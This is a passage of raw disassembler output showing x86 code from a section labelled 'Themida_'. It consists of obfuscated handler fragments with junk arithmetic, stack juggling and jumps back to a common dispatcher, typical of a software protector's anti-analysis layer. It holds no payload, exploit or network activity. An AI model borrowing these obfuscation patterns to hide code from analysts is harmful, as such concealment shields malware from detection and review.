dl, 0A2h sub al, dl push dword ptr [esp] pop edx add esp, 4 push edx mov dh, 0D5h push ecx mov ch, 0A0h sub ch, 1Fh or dh, ch pop ecx not dh jmp loc_556926 ; --------------------------------------------------------------------------- loc_55A17F: ; CODE XREF: Themida_:00554D20j push edx mov dh, 0C5h push eax mov ah, 18h xor dh, ah jmp loc_555FE8 ; --------------------------------------------------------------------------- loc_55A18C: ; CODE XREF: Themida_:00553767j add esp, 4 jmp loc_55693F ; --------------------------------------------------------------------------- loc_55A197: ; CODE XREF: Themida_:005523ADj mov edi, [esp] jmp loc_558D53 ; --------------------------------------------------------------------------- loc_55A19F: ; CODE XREF: Themida_:0055C729j pop eax shr ch, 7 neg ch push edx jmp loc_555A63 ; --------------------------------------------------------------------------- loc_55A1AB: ; CODE XREF: Themida_:00554453j mov cx, [esp] sub esp, 4 mov [esp], edi push esp pop edi jmp loc_55CB3F ; --------------------------------------------------------------------------- loc_55A1BC: ; CODE XREF: Themida_:00559D06j mov [esp], edi mov edi, 415E383Fh jmp loc_553E62 ; --------------------------------------------------------------------------- loc_55A1C9: ; CODE XREF: Themida_:00555FF7j add esp, 2 push bx push eax mov al, 5Ah add al, 0FFh push cx mov ch, 15h xor al, ch jmp loc_55BB55 ; --------------------------------------------------------------------------- loc_55A1DE: ; CODE XREF: Themida_:0055526Aj mov [esp], edi push 3EC82798h mov edi, [esp] add esp, 4 jmp loc_554E93 ; --------------------------------------------------------------------------- loc_55A1F1: ; CODE XREF: Themida_:0055612Cj shr cl, 1 dec cl xor cl, 39h xor dh, cl pop ecx sub dh, 70h sub al, dh pop edx push ebx mov bl, 0C5h jmp loc_558A5D ; --------------------------------------------------------------------------- loc_55A209: ; CODE XREF: Themida_:00558905j mov eax, 1 push ecx mov ecx, 24h sub ecx, 777316F6h add ecx, edi add ecx, 777316F6h jmp loc_554BB0 ; --------------------------------------------------------------------------- loc_55A227: ; CODE XREF: Themida_:0055306Dj add esp, 4 or eax, eax jz loc_5555EE push ecx mov ecx, 28h add ecx, 275D6901h push ebp jmp loc_553B8E ; --------------------------------------------------------------------------- loc_55A247: ; CODE XREF: Themida_:005578F4j add ebp, esi pop esi jmp loc_553063 ; --------------------------------------------------------------------------- loc_55A24F: ; CODE XREF: Themida_:00553742j pop edi jmp loc_55CB31 ; --------------------------------------------------------------------------- loc_55A255: ; CODE XREF: Themida_:00552332j ; Themida_:0055D4A8j push ebx push edi push 5671h mov [esp], ebx jmp loc_55B37A ; --------------------------------------------------------------------------- loc_55A264: ; CODE XREF: Themida_:00558E43j jmp loc_551368 ; --------------------------------------------------------------------------- loc_55A269: ; CODE XREF: Themida_:00556C37j sub eax, esi jmp loc_5558BD ; --------------------------------------------------------------------------- loc_55A270: ; CODE XREF: Themida_:0055CC1Cj pop dword ptr [esp] mov esp, [esp] movzx ax, byte ptr [eax] push 5819h mov [esp], eax push edi mov edi, esp add edi, 4 jmp loc_555647 ; --------------------------------------------------------------------------- loc_55A290: ; CODE XREF: Themida_:0055A307j pop ecx shl esi, 4 jmp loc_5587E8 ; --------------------------------------------------------------------------- loc_55A299: ; CODE XREF: Themida_:00558EE3j mov ebx, 0 sub ebx, ebp mov ebp, ebx pop ebx dec ebp xor ebp, 0F428C56Bh sub edx, ebp pop ebp push ebp mov ebp, 351F0239h jmp loc_558B13 ; --------------------------------------------------------------------------- loc_55A2B8: ; CODE XREF: Themida_:00556FC4j mov ebp, [esp] add esp, 4 push ebx mov ebx, 2 jmp loc_557DE2 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr byte ptr [esp], cl pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_55A2DB: ; CODE XREF: Themida_:00557271j push 682Ch mov [esp], edi mov edi, 0FBA31DEEh add esi, edi pop edi push ecx mov ecx, esi mov eax, ecx pop ecx pop esi xor edx, eax pop eax sub ebx, edx jmp loc_55688D ; --------------------------------------------------------------------------- loc_55A2FC: ; CODE XREF: Themida_:00551458j mov edx, [esp] add esp, 4 mov esi, ecx jmp loc_55A290 ; --------------------------------------------------------------------------- loc_55A30C: ; CODE XREF: Themida_:005556B7j mov edx, 2Ch sub edx, 61BD0779h jmp loc_55A4A2 ; --------------------------------------------------------------------------- loc_55A31C: ; CODE XREF: Themida_:00557AC5j xor eax, 97C7116Eh add ebx, eax jmp loc_55D21E ; --------------------------------------------------------------------------- loc_55A328: ; CODE XREF: Themida_:0055511Ej mov [esp], esi push eax push 5A1142CAh pop eax push ebp mov ebp, 0A5EEBD38h jmp loc_553F73 ; --------------------------------------------------------------------------- loc_55A33D: ; CODE XREF: Themida_:0055C8F8j mov ebx, 69DC1789h mov edi, 9623E876h add edi, ebx pop ebx push edi push ebx mov ebx, 7EC6338h sub [esp+4], ebx jmp loc_553B76 ; --------------------------------------------------------------------------- push dword ptr [edi+3Ch] push 7562h mov [esp], ebp mov ebp, 32043F84h xor [esp+4], ebp mov ebp, [esp] push 64EFh mov [esp], edi mov edi, esp push eax mov eax, 26B438B3h jmp loc_5539C7 ; --------------------------------------------------------------------------- loc_55A386: ; CODE XREF: Themida_:0055A5B2j mov esi, esp add esi, 4 push ebp mov ebp, 5A3B5BBFh or ebp, 20FC1466h sub ebp, 7AFF5FFBh add esi, ebp jmp loc_555765 ; --------------------------------------------------------------------------- loc_55A3A7: ; CODE XREF: Themida_:00558D88j xchg ecx, ebp xor ebp, 79FD7BA8h add edx, ebp pop ebp sub edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] mov [esp], edx push eax pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_55A3CE: ; CODE XREF: Themida_:005567DFj xchg ecx, [esp] pop esp jmp loc_555A05 ; --------------------------------------------------------------------------- loc_55A3D7: ; CODE XREF: Themida_:005596DEj add esp, 4 xor eax, [esp] xor [esp], eax jmp loc_5599C1 ; --------------------------------------------------------------------------- lodsb xor al, bl push dx mov dh, 7Fh jmp loc_554D08 ; --------------------------------------------------------------------------- loc_55A3F1: ; CODE XREF: Themida_:00551F2Dj add eax, ebx sub eax, 31C7373h pop ebx sub esp, 4 jmp loc_553DBB ; --------------------------------------------------------------------------- loc_55A404: ; CODE XREF: Themida_:00559E1Bj mov [esp], cx mov cx, 61FEh add bx, 7201h add bx, cx sub bx, 7201h pop cx movzx eax, ax push small 5CEFh mov [esp], ax jmp loc_551368 ; --------------------------------------------------------------------------- loc_55A42B: ; CODE XREF: Themida_:0055BF47j add esi, edx pop edx xchg esi, [esp] mov esp, [esp] mov ax, [esp] push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_551825 ; --------------------------------------------------------------------------- loc_55A44F: ; CODE XREF: Themida_:0055AD1Fj mov ecx, edi pop edi add ecx, edx add eax, [ecx] pop ecx mov edx, [esp] jmp loc_553CDF ; --------------------------------------------------------------------------- loc_55A45F: ; CODE XREF: Themida_:005582E2j sub esp, 4 mov [esp], esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop esi jmp loc_559073 ; --------------------------------------------------------------------------- loc_55A47E: ; CODE XREF: Themida_:0055486Dj mov ebx, 5D0B5530h jmp loc_555013 ; --------------------------------------------------------------------------- loc_55A488: ; CODE XREF: Themida_:00552729j sub eax, 9ECE1247h jmp loc_559280 ; --------------------------------------------------------------------------- loc_55A492: ; CODE XREF: Themida_:00555C0Aj push dword ptr [esp+4] push dword ptr [esp] mov ecx, [esp] push eax jmp loc_558F88 ; --------------------------------------------------------------------------- loc_55A4A2: ; CODE XREF: Themida_:0055A317j add edx, edi push ecx mov ecx, 3262281Eh push ebp jmp loc_55A773 ; --------------------------------------------------------------------------- loc_55A4B0: ; CODE XREF: Themida_:005566BFj or ch, 0A6h shl ch, 4 sub ch, 0D1h jmp loc_5591C3 ; --------------------------------------------------------------------------- loc_55A4BE: ; CODE XREF: Themida_:0055A726j sub esp, 4 jmp loc_55656D ; --------------------------------------------------------------------------- loc_55A4C9: ; CODE XREF: Themida_:0055BDDDj add edi, ebp sub edi, 7A8027E7h pop ebp sub esp, 4 mov [esp], ebx jmp loc_551783 ; --------------------------------------------------------------------------- loc_55A4DD: ; CODE XREF: Themida_:00551997j sub esp, 4 mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_55BFEB ; --------------------------------------------------------------------------- loc_55A4F0: ; CODE XREF: Themida_:00557346j xchg ecx, ebp push esi mov esi, 0 sub esi, ecx xchg esi, ecx pop esi xchg ecx, ebp sub ebp, 68226086h jmp loc_55698D ; --------------------------------------------------------------------------- loc_55A50A: ; CODE XREF: Themida_:00559FCEj add dl, 3Dh add bl, dl pop edx push cx push ebx mov bh, 0EAh jmp loc_555DB8 ; --------------------------------------------------------------------------- loc_55A51A: ; CODE XREF: Themida_:00554AF6j pop edx and eax, ebp pop ebp or edx, eax shl edx, 1 push 3625h mov [esp], ebx sub esp, 4 jmp loc_5537FD ; --------------------------------------------------------------------------- loc_55A535: ; CODE XREF: Themida_:00554F7Cj inc esi jmp loc_55B3AF ; --------------------------------------------------------------------------- loc_55A53B: ; CODE XREF: Themida_:005525A9j pop ebp xor ecx, [esp] xor [esp], ecx jmp loc_55AAAD ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] jmp loc_554510 ; --------------------------------------------------------------------------- loc_55A552: ; CODE XREF: Themida_:00558B0Ej xor bp, 6F8Dh add ax, 3874h sub ax, bp sub ax, 3874h jmp loc_554FC3 ; --------------------------------------------------------------------------- loc_55A567: ; CODE XREF: Themida_:0055305Ej not edi jmp loc_551D18 ; --------------------------------------------------------------------------- loc_55A56E: ; CODE XREF: Themida_:0055770Ej mov [esp], esi jmp loc_55916A ; --------------------------------------------------------------------------- loc_55A576: ; CODE XREF: Themida_:0055BCC5j mov ebp, [esp] add esp, 4 push 7999h mov [esp], ebx mov ebx, esp add ebx, 4 push ecx jmp loc_552556 ; --------------------------------------------------------------------------- loc_55A595: ; CODE XREF: Themida_:00555826j pop eax push esi mov esi, 4 add edx, esi mov esi, [esp] add esp, 4 xchg edx, [esp] pop esp push dword ptr [esp] mov edx, [esp] push esi jmp loc_55A386 ; --------------------------------------------------------------------------- loc_55A5B7: ; CODE XREF: Themida_:00557DEDj push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] inc byte ptr [esp] pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_55A5CB: ; CODE XREF: Themida_:00556896j mov eax, 0BD75FA6h add ebx, 52150CC3h jmp loc_553DC3 ; --------------------------------------------------------------------------- loc_55A5DB: ; CODE XREF: Themida_:00558E53j push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ecx mov ecx, esp push ebp mov ebp, 4 add ecx, ebp push dword ptr [esp] pop ebp jmp loc_557E1A ; --------------------------------------------------------------------------- loc_55A602: ; CODE XREF: Themida_:0055ADE7j sub ebx, 64BA68E7h pop edx add ebx, 4 xchg ebx, [esp] mov esp, [esp] push 7C18h mov [esp], esi mov esi, 0EC6104Ch jmp loc_55C184 ; --------------------------------------------------------------------------- loc_55A624: ; CODE XREF: Themida_:00551DFCj add bl, ch mov ecx, [esp] add esp, 4 movzx eax, al push dword ptr [edi+eax*4] push dword ptr [esp] pop eax push 2E35h mov [esp], eax mov eax, esp push ebp mov ebp, 4 add eax, 55967891h add eax, ebp push esi mov esi, 56495BCBh sub esi, 13842860h push eax jmp loc_55868C ; --------------------------------------------------------------------------- loc_55A65F: ; CODE XREF: Themida_:0055BFE6j mov eax, [esp] add esp, 4 jmp loc_555A52 ; --------------------------------------------------------------------------- loc_55A66D: ; CODE XREF: Themida_:0055BD9Aj pop eax jmp loc_552780 ; --------------------------------------------------------------------------- loc_55A673: ; CODE XREF: Themida_:0055AEF1j sub esp, 4 mov [esp], ebp mov ebp, 1B0672C1h jmp loc_555D12 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb [esp], ax pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_55A693: ; CODE XREF: Themida_:005575E9j mov ah, bh pop ebx pop dx add ah, 4Eh mov bh, ah pop eax add al, 4Ch sub al, 0E2h jmp loc_55205E ; --------------------------------------------------------------------------- loc_55A6A7: ; CODE XREF: Themida_:005540E9j sub esi, 3B267958h jmp loc_55567E ; --------------------------------------------------------------------------- loc_55A6B2: ; CODE XREF: Themida_:005514DAj mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_551B30 ; --------------------------------------------------------------------------- loc_55A6C4: ; CODE XREF: Themida_:0055B722j div cx push 2018h jmp loc_555741 ; --------------------------------------------------------------------------- loc_55A6D1: ; CODE XREF: Themida_:00555F03j mov esp, [esp] push dword ptr [esp] pop ecx push ebx mov ebx, esp push esi mov esi, 546F2C0Fh jmp loc_55B650 ; --------------------------------------------------------------------------- loc_55A6E6: ; CODE XREF: Themida_:00551A12j xchg eax, [esp] pop esp mov [esp], ecx sub esp, 2 jmp loc_55C936 ; --------------------------------------------------------------------------- loc_55A6F5: ; CODE XREF: Themida_:005544B8j pop eax add ebx, eax jmp loc_55AF0F ; --------------------------------------------------------------------------- loc_55A6FD: ; CODE XREF: Themida_:00555D9Dj add esp, 4 add ecx, ebp mov ebp, [esp] jmp loc_5540CF ; --------------------------------------------------------------------------- loc_55A70A: ; CODE XREF: Themida_:005520CDj mov [esp], eax push esp jmp loc_55B9CE ; --------------------------------------------------------------------------- loc_55A713: ; CODE XREF: Themida_:0055234Dj add ecx, 2 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov ax, [esp] jmp loc_55A4BE ; --------------------------------------------------------------------------- loc_55A72B: ; CODE XREF: Themida_:00552BA3j push 1 mov ebx, [esp] add esp, 4 and eax, ebx jmp loc_55C502 ; --------------------------------------------------------------------------- loc_55A73D: ; CODE XREF: Themida_:005592F7j pop ebp or ebp, 77EA203Dh dec ebp push eax mov eax, 22A2E508h sub ebp, eax jmp loc_558853 ; --------------------------------------------------------------------------- loc_55A752: ; CODE XREF: Themida_:00559C20j mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] push esi mov esi, 4 add edx, esi jmp loc_55A9D1 ; --------------------------------------------------------------------------- loc_55A773: ; CODE XREF: Themida_:0055A4ABj mov ebp, 53DF2F67h xor ecx, ebp jmp loc_55AD01 ; --------------------------------------------------------------------------- loc_55A77F: ; CODE XREF: Themida_:0055221Ej push esi mov esi, 40BD699Fh shr esi, 3 shl esi, 6 neg esi xor esi, 653E61FAh sub esi, 3ADC8246h sub edi, esi jmp loc_55B959 ; --------------------------------------------------------------------------- loc_55A7A0: ; CODE XREF: Themida_:005522F3j add esp, 4 push eax push dword ptr [esp+4] jmp loc_55D42B ; --------------------------------------------------------------------------- loc_55A7B0: ; CODE XREF: Themida_:0055C7E1j add esp, 4 push 7699h mov [esp], edx mov edx, 4 jmp loc_554160 ; --------------------------------------------------------------------------- loc_55A7C5: ; CODE XREF: Themida_:00554310j add esp, 4 jmp loc_551368 ; --------------------------------------------------------------------------- loc_55A7CD: ; CODE XREF: Themida_:00555168j mov edi, 37DE4965h jmp loc_55B41A ; --------------------------------------------------------------------------- loc_55A7D7: ; CODE XREF: Themida_:0055BD6Aj add esi, ebx add esi, 6A1C014Ch pop ebx add esi, 2 sub esp, 4 jmp loc_55187F ; --------------------------------------------------------------------------- loc_55A7F1: ; CODE XREF: Themida_:0055D3F5j sub eax, esi pop esi push dword ptr [esp] pop edi add esp, 4 jmp loc_554EC6 ; --------------------------------------------------------------------------- loc_55A803: ; CODE XREF: Themida_:0055255Dj pop ecx xchg ebx, [esp] jmp loc_5547E6 ; --------------------------------------------------------------------------- loc_55A80C: ; CODE XREF: Themida_:0055BA0Cj mov bl, 64h push edx mov dl, 3Fh sub dl, 41h jmp loc_5584E9 ; --------------------------------------------------------------------------- loc_55A819: ; CODE XREF: Themida_:0055436Fj add esi, 247C3544h sub esi, 7B14407Eh sub eax, esi jmp loc_553D7C ; --------------------------------------------------------------------------- loc_55A82C: ; CODE XREF: Themida_:005547D3j add esi, 4 xchg esi, [esp] pop esp add esi, 4 push edi mov edi, 254F7514h jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_55A847: ; CODE XREF: Themida_:0055429Aj mov esp, [esp] mov ax, [esp] sub esp, 4 mov [esp], eax push 28E7h mov [esp], esp add dword ptr [esp], 4 pop eax sub esp, 4 mov [esp], ebx push 4 pop ebx push 655Fh mov [esp], ebp jmp loc_55637C ; --------------------------------------------------------------------------- loc_55A87D: ; CODE XREF: Themida_:005567D0j mov ebp, [esp] add esp, 4 add eax, esi mov esi, [esp] add esp, 4 xor ebx, eax sub esp, 4 jmp loc_55B53A ; --------------------------------------------------------------------------- loc_55A895: ; CODE XREF: Themida_:0055159Aj mov [esp], ecx mov ecx, esp push esi mov esi, 1E1602B7h xor esi, 22AF3AF8h shl esi, 7 sub esp, 4 jmp loc_55C1E6 ; --------------------------------------------------------------------------- loc_55A8B1: ; CODE XREF: Themida_:0055BD5Fj push ebp mov ebp, 7E4F7047h push 32B8h mov [esp], ebp push edx pop ebp pop edx not edx push 1876h mov [esp], ebp push edx pop ebp jmp loc_555E2A ; --------------------------------------------------------------------------- loc_55A8D3: ; CODE XREF: Themida_:0055C918j mov edi, [esp] push edi mov edi, esp add edi, 4 jmp loc_55192C ; --------------------------------------------------------------------------- loc_55A8E4: ; CODE XREF: Themida_:00552957j mov edi, 7F23D6Bh sub edi, 7A4B34D2h sub edi, esi push ebp mov ebp, 7A4B34D2h add edi, ebp pop ebp pop esi add edx, 533E4DAAh add edx, edi jmp loc_55ABF6 ; --------------------------------------------------------------------------- loc_55A908: ; CODE XREF: Themida_:00558386j add esi, edi pop edi add esi, ecx jmp loc_557015 ; --------------------------------------------------------------------------- loc_55A912: ; CODE XREF: Themida_:0055C288j mov dl, cl jmp loc_555786 ; --------------------------------------------------------------------------- loc_55A919: ; CODE XREF: Themida_:005586CAj mov ebp, [esp] add esp, 4 jmp loc_554DEB ; --------------------------------------------------------------------------- loc_55A924: ; CODE XREF: Themida_:00553DF7j mov esi, ebp jmp loc_555BD4 ; --------------------------------------------------------------------------- loc_55A92B: ; CODE XREF: Themida_:0055D023j pop eax sub ebx, 4BBC2BCAh sub ebx, esi add ebx, 4BBC2BCAh jmp loc_55562A ; --------------------------------------------------------------------------- loc_55A93F: ; CODE XREF: Themida_:0055550Dj mov eax, 6A805233h jmp loc_553527 ; --------------------------------------------------------------------------- loc_55A949: ; CODE XREF: Themida_:0055402Ej pop edi sub esp, 4 mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] jmp loc_559C25 ; --------------------------------------------------------------------------- loc_55A95F: ; CODE XREF: Themida_:00551CD6j push ebx push 7225h mov [esp], ecx push esi push 5F4F7E76h pop esi sub esi, 57053E3Eh not esi or esi, 77D82241h jmp loc_55CE81 ; --------------------------------------------------------------------------- mov cx, [esp] push edx push 5161h mov [esp], esp add dword ptr [esp], 4 mov edx, [esp] push eax jmp loc_559F08 ; --------------------------------------------------------------------------- loc_55A99F: ; CODE XREF: Themida_:00553DB6j push edx mov edx, 5CBF3E5Fh add eax, edx pop edx sub eax, ebx push edi push eax mov eax, 6FD62D03h shr eax, 7 add eax, 5BDF9205h jmp loc_557987 ; --------------------------------------------------------------------------- push dword ptr [edi+40h] jmp loc_551368 ; --------------------------------------------------------------------------- loc_55A9C6: ; CODE XREF: Themida_:0055AEF9j add esp, 4 add esp, 4 jmp loc_551368 ; --------------------------------------------------------------------------- loc_55A9D1: ; CODE XREF: Themida_:0055A76Ej pop esi jmp loc_5599F8 ; --------------------------------------------------------------------------- loc_55A9D7: ; CODE XREF: Themida_:00558955j mov [esp], ecx mov ecx, 0A3221E4h add ecx, 49AB195Ah sub ecx, 3AF207A6h sub esi, ecx pop ecx pop edi mov ecx, esi pop esi and eax, ecx push dword ptr [esp] jmp loc_5560E8 ; --------------------------------------------------------------------------- loc_55A9FC: ; CODE XREF: Themida_:00558732j pop esp mov [esp], ebx jmp loc_55B053 ; --------------------------------------------------------------------------- loc_55AA05: ; CODE XREF: Themida_:0055890Cj push edx jmp loc_55BFAC ; --------------------------------------------------------------------------- loc_55AA0B: ; CODE XREF: Themida_:0055B415j pop ebx mov edi, eax pop eax sub esi, 1711472Bh add esi, edi jmp loc_555A2E ; --------------------------------------------------------------------------- mov cx, [esp] push ecx push 7D4Eh mov [esp], esp push ebx mov ebx, 4 jmp loc_559294 ; --------------------------------------------------------------------------- loc_55AA34: ; CODE XREF: Themida_:00559378j pop edi sub ecx, 1481502h jmp loc_555ED4 ; --------------------------------------------------------------------------- loc_55AA40: ; CODE XREF: Themida_:0055CDEDj pop eax push esi mov esi, esp push edx mov edx, 7AD83161h shl edx, 4 push 7212h mov [esp], edi mov edi, 0F5F4FB4h shr edi, 8 add edi, 0FFFFFFFFh sub edi, 0ECC22CBh shl edi, 6 not edi sub edi, 1ADC933h jmp loc_556428 ; --------------------------------------------------------------------------- loc_55AA79: ; CODE XREF: Themida_:00558D4Ej pop esp push edi mov edi, 6D7D6523h jmp loc_5529CF ; --------------------------------------------------------------------------- loc_55AA85: ; CODE XREF: Themida_:0055B992j xor bl, [esp] xor [esp], bl push dx mov dl, cl mov cl, bl mov bl, dl jmp loc_55592A ; --------------------------------------------------------------------------- loc_55AA98: ; CODE XREF: Themida_:0055317Dj pop ebx push edx mov dh, 0A4h xor cl, dh pop edx xor al, cl push dword ptr [esp] pop ecx add esp, 4 jmp loc_55AC7D ; --------------------------------------------------------------------------- loc_55AAAD: ; CODE XREF: Themida_:0055A542j xor ecx, [esp] pop esp rol dword ptr [esp], cl pushf jmp loc_55369F ; --------------------------------------------------------------------------- loc_55AABA: ; CODE XREF: Themida_:0055157Ej add ecx, 6596688Eh and esi, ecx pop ecx push 0F40h mov [esp], edi mov edi, 1 sub esi, edi pop edi jmp loc_55C72E ; --------------------------------------------------------------------------- loc_55AAD8: ; CODE XREF: Themida_:0055CF32j pop esp xchg ecx, edx not ecx xchg ecx, edx xchg eax, edx push ecx jmp loc_55C35A ; --------------------------------------------------------------------------- loc_55AAE6: ; CODE XREF: Themida_:0055415Bj pop esi add ebx, eax jmp loc_558A9D ; --------------------------------------------------------------------------- loc_55AAEE: ; CODE XREF: Themida_:00557F18j pop esp sub eax, ecx push dword ptr [esp] pop ecx jmp loc_558EE8 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], edx mov edx, esp jmp loc_552950 ; --------------------------------------------------------------------------- loc_55AB0E: ; CODE XREF: Themida_:00558FC5j neg edi xor edi, 321471A1h xor edi, 70DD2F07h and esi, edi pop edi shl esi, 5 or esi, 45E2536Ch jmp loc_55B0D2 ; --------------------------------------------------------------------------- loc_55AB2D: ; CODE XREF: Themida_:00554425j mov eax, 7E256427h jmp loc_552724 ; --------------------------------------------------------------------------- loc_55AB37: ; CODE XREF: Themida_:00555E94j push ecx jmp loc_55B1A5 ; --------------------------------------------------------------------------- loc_55AB3D: ; CODE XREF: Themida_:00556CBEj push ebx mov ebx, 19DA639Eh and ebx, 3E3E2F40h shl ebx, 8 add ebx, 4A9A2401h or ecx, ebx pop ebx jmp loc_558A16 ; --------------------------------------------------------------------------- loc_55AB5A: ; CODE XREF: Themida_:005569B5j add eax, 4 xchg eax, [esp] jmp loc_552D0B ; --------------------------------------------------------------------------- loc_55AB65: ; CODE XREF: Themida_:00559E6Dj not dl push ecx mov ch, 0FFh jmp loc_559680 ; --------------------------------------------------------------------------- loc_55AB6F: ; CODE XREF: Themida_:00552394j add esp, 4 push edi mov edi, 774C0C09h jmp loc_55976C ; --------------------------------------------------------------------------- loc_55AB80: ; CODE XREF: Themida_:0055C6F4j mov ecx, 6B6F184Ah sub dword ptr [esp+8], 12855C5Ch add dword ptr [esp+8], 30635FF2h sub [esp+8], ecx sub dword ptr [esp+8], 30635FF2h jmp loc_555CA3 ; --------------------------------------------------------------------------- loc_55ABA6: ; CODE XREF: Themida_:0055499Fj sub ebp, 0E02A0CACh sub edx, 34E01047h add edx, ebp add edx, 34E01047h mov ebp, [esp] jmp loc_556131 ; --------------------------------------------------------------------------- loc_55ABC2: ; CODE XREF: Themida_:00557093j inc eax and eax, 0E26548Eh jmp loc_556EFC ; --------------------------------------------------------------------------- loc_55ABCD: ; CODE XREF: Themida_:00556459j shl edi, 2 jmp loc_558CDA ; --------------------------------------------------------------------------- loc_55ABD5: ; CODE XREF: Themida_:0055AC12j or ch, al pop eax not ch push ebx mov bl, 7 add ch, bl mov ebx, [esp] add esp, 4 jmp loc_554A33 ; --------------------------------------------------------------------------- loc_55ABEA: ; CODE XREF: Themida_:00559C5Fj xchg edx, [esp] pop esp push ecx mov ecx, esp jmp loc_55BE0F ; --------------------------------------------------------------------------- loc_55ABF6: ; CODE XREF: Themida_:0055A903j sub edx, 533E4DAAh pop edi add edx, 2 push 7C3h jmp loc_55600C ; --------------------------------------------------------------------------- loc_55AC0A: ; CODE XREF: Themida_:00555C42j pop ebp jmp loc_5517ED ; --------------------------------------------------------------------------- loc_55AC10: ; CODE XREF: Themida_:00553C5Cj mov al, 0CDh jmp loc_55ABD5 ; --------------------------------------------------------------------------- loc_55AC17: ; CODE XREF: Themida_:00555A83j sub esp, 4 mov [esp], esp push edi push edx jmp loc_558584 ; --------------------------------------------------------------------------- loc_55AC27: ; CODE XREF: Themida_:0055C5BBj xchg edx, [esp] pop esp jmp loc_551B18 ; --------------------------------------------------------------------------- loc_55AC30: ; CODE XREF: Themida_:00559D1Fj push edi mov edi, 2ABE7853h push ebp mov ebp, 7AAB37C5h sub ebp, 5CF7594Bh jmp loc_556789 ; --------------------------------------------------------------------------- loc_55AC47: ; CODE XREF: Themida_:0055466Dj xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] mov [esp], esi jmp loc_55C92B ; --------------------------------------------------------------------------- loc_55AC5B: ; CODE XREF: Themida_:0055707Cj pop edi xchg ebx, [esp] pop esp jmp loc_557AEC ; --------------------------------------------------------------------------- loc_55AC65: ; CODE XREF: Themida_:005552E1j pop esp and eax, edx jmp loc_55B300 ; --------------------------------------------------------------------------- loc_55AC6D: ; CODE XREF: Themida_:0055C489j pop esi sub eax, 6A054A6Ch xor eax, 0F4B25D17h jmp loc_553AAB ; --------------------------------------------------------------------------- loc_55AC7D: ; CODE XREF: Themida_:0055AAA8j push 5530h mov [esp], eax mov al, 0D0h push edx mov dh, 0E1h push ecx jmp loc_556128 ; --------------------------------------------------------------------------- loc_55AC90: ; CODE XREF: Themida_:005549AEj add edi, 0AC3628Eh add edi, ecx push ebp jmp loc_55B24B ; --------------------------------------------------------------------------- loc_55AC9E: ; CODE XREF: Themida_:00554EF3j add eax, 4 add eax, 4 xchg eax, [esp] pop esp push ebx mov bh, 0A2h neg bh inc bh jmp loc_5541EC ; --------------------------------------------------------------------------- loc_55ACB6: ; CODE XREF: Themida_:0055ADD0j add eax, edx pop edx jmp loc_55471C ; --------------------------------------------------------------------------- loc_55ACBE: ; CODE XREF: Themida_:0055BC6Bj xor esi, 3CA09D1Fh add ecx, esi pop esi push ebp jmp loc_554DD9 ; --------------------------------------------------------------------------- lodsb push 7877h mov [esp], edx push 7F9Fh mov [esp], ecx jmp loc_55B4FB ; --------------------------------------------------------------------------- loc_55ACE3: ; CODE XREF: Themida_:0055B46Fj push ebx push eax pop ebx pop eax sub ebx, 0F91E5EA7h mov eax, ebx pop ebx push edi mov edi, 58002214h xor edi, 8214AB5h jmp loc_552442 ; --------------------------------------------------------------------------- loc_55AD01: ; CODE XREF: Themida_:0055A77Aj pop ebp add edx, ecx push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 sub esp, 4 mov [esp], ecx push edi mov edi, 0 jmp loc_55A44F ; --------------------------------------------------------------------------- loc_55AD24: ; CODE XREF: Themida_:005515CFj add esp, 4 jmp loc_556521 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop eax push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_553977 ; --------------------------------------------------------------------------- loc_55AD4D: ; CODE XREF: Themida_:0055B288j push 1B65h mov [esp], ebp push edx mov edx, 59D56599h add edx, 50536BF6h and edx, 0C3C5A1Bh shr edx, 3 add edx, 3C426E9h jmp loc_55D23E ; --------------------------------------------------------------------------- loc_55AD75: ; CODE XREF: Themida_:0055B899j push 22ECh mov [esp], edi mov edi, 1F7F2BFBh or edi, 21566958h inc edi shr edi, 8 not edi sub esp, 4 mov [esp], esi mov esi, 3F7F6Dh add edi, esi pop esi mov ecx, edi pop edi sub esp, 4 jmp loc_556FFA ; --------------------------------------------------------------------------- loc_55ADAA: ; CODE XREF: Themida_:00551476j add edi, 4 push esi mov esi, 4 add edi, esi pop esi xchg edi, [esp] pop esp mov ebx, esi mov esi, [esp] push eax jmp loc_559B65 ; --------------------------------------------------------------------------- loc_55ADC8: ; CODE XREF: Themida_:00558504j mov eax, esp push edx mov edx, 4 jmp loc_55ACB6 ; --------------------------------------------------------------------------- loc_55ADD5: ; CODE XREF: Themida_:0055D239j mov edx, [esp] add esp, 4 pop ebx add ebx, 64BA68E7h add ebx, edx jmp loc_55A602 ; --------------------------------------------------------------------------- loc_55ADEC: ; CODE XREF: Themida_:005579DAj push edx mov edx, esp push esi push ebp mov ebp, 31577FE9h xor ebp, 4C24422Dh neg ebp shr ebp, 5 or ebp, 33F8007Ch sub ebp, 28BA0ABBh sub ebp, 0F425BBEh mov esi, ebp jmp loc_55C23F ; --------------------------------------------------------------------------- loc_55AE1A: ; CODE XREF: Themida_:005537A2j mov [esp], edx mov edx, esp push ebx mov ebx, 4 add edx, ebx pop ebx push 4235h mov [esp], edi mov edi, 2 jmp 